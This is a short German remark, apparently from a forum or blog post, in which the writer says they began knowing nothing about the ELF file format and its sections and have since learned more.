Zu Beginn wusste ich aber absolut nichts über den Aufbau von ELF, die Sektionen etc.
Jetzt bin ich schlauer!